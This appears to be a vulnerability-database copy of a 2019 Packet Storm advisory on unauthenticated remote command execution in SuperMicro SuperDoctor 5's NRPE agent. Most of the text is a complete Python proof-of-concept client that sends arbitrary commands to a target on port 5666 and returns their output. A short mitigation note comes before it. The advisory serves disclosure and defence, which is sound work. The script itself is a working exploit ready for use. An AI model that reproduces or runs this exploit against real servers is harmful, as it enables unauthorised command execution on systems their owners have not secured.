Lucene search
K

SuperDoctor5 NRPE Remote Code Execution

🗓️ 25 Jun 2019 00:00:00Reported by Simon GurneyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 96 Views

SuperMicro's NRPE in SuperDoctor 5 allows unauthenticated remote command execution, posing a security risk. Mitigate by configuring agent.cfg to specify allowed IPs or blocking port 5666 traffic

Code
`# SuperMicro implemented a Remote Command Execution plugin in their implementation of   
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.  
# This is an intended feature but leaves the system open (by default) to unauthenticated  
# remote command execution by abusing the 'executable' plugin with an NRPE client.  
#   
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the   
# cmd of choice and return its output.  
#  
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed   
# to execute NRPE commands agaist the system and/or block traffic on port 5666.  
#  
# NRPE cannot be disabled in this software, see Guide section 3.2  
  
  
#Author: Simon Gurney   
#Date: 23/05/2019  
#Vendor: SuperMicro  
#Product: SuperMicro Super Doctor 5  
#Version: 5  
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf  
  
  
  
### Configurables  
  
command = "ping 1.1.1.1 -n 1"  
target = "1.2.3.4"  
target_port = 5666  
  
### Don't need to change anything below  
  
import binascii  
import struct  
import socket  
import ssl  
  
#### Struct Encoding Types  
StructCodeInt16 = "!h" ## Unsigned Int16  
StructCodeInt32 = "!L" ## Unsigned Int32  
  
#### NRPE Specific definitions  
NRPE_Version = ("","One", "Two", "Three")  
NRPE_Packet_Type = ("", "Query", "Response")  
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")  
NRPE_Version_1 = 1  
NRPE_Version_2 = 2  
NRPE_Version_3 = 3  
NRPE_Packet_Type_Query = 1  
NRPE_Packet_Type_Response = 2  
NRPE_Response_Ok = 0  
NRPE_Response_Warning = 1  
NRPE_Response_Critical = 2  
NRPE_Response_Unknown = 3  
NRPE_Response_Type_Query = 3  
  
#### RandomDefintions  
NullByte = b"\x00"  
TwoCharSuffix = "SG"  
  
class NRPEpacket:  
port = 5666  
server = "127.0.0.1"  
nrpeVersion = NRPE_Version_2  
nrpePacketType = NRPE_Packet_Type_Query  
nrpeResponseCode = NRPE_Response_Type_Query  
ownSocket = None  
def CalculateCRC(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += NullByte * 4  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))  
def PadTo1024Bytes(self,command):  
if len(command) <= 1024:  
tempBuffer = command  
else:  
Error("Command string is too long!")  
while len(tempBuffer) < 1024:  
tempBuffer += "\x00"  
tempBuffer += TwoCharSuffix  
return tempBuffer.encode()  
def Connect(self):  
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.socket.connect((self.server,self.port))  
def WrapSSL(self):  
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")  
def Send(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += self.crc  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
self.socket.send(tempBuffer)  
def Recv(self):  
tempBuffer = self.socket.recv(2048)  
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]  
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]  
self.crc = tempBuffer[4:8]  
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]  
self.content = tempBuffer[10:]  
if self.crc != self.CalculateCRC():  
print ("CRC does not match!")  
def PrintOut(self):  
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")  
print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))  
print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))  
print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0])  
print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))  
print("| Packet Content:")  
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))  
print(" -=-=-=-= End NRPE Content =-=-=-=-")  
def Close(self):  
if not self.ownSocket:  
self.socket.close()  
def AutoSend(self):  
print("Sending...")  
self.PrintOut()  
self.Send()  
print("Receiving...")  
self.Recv()  
self.PrintOut()  
self.Close()  
def __init__(self, command, socket=None, server=None, port = None, ssl=True):  
self.content = self.PadTo1024Bytes(command)  
self.crc = self.CalculateCRC()  
if server:  
self.server = server  
if port:  
self.port = port  
if not socket:  
self.Connect()  
else:  
self.socket = socket  
self.ownSocket = True  
if ssl == True:  
self.WrapSSL()  
  
  
#NRPE CMD format is "executable!<binary>!<arguments> i.e."  
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()  
  
split = command.split(" ",1)  
cmd = "executable!" + split[0] + "!" + split[1]  
NRPEpacket(cmd, server=target, port=target_port).AutoSend()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation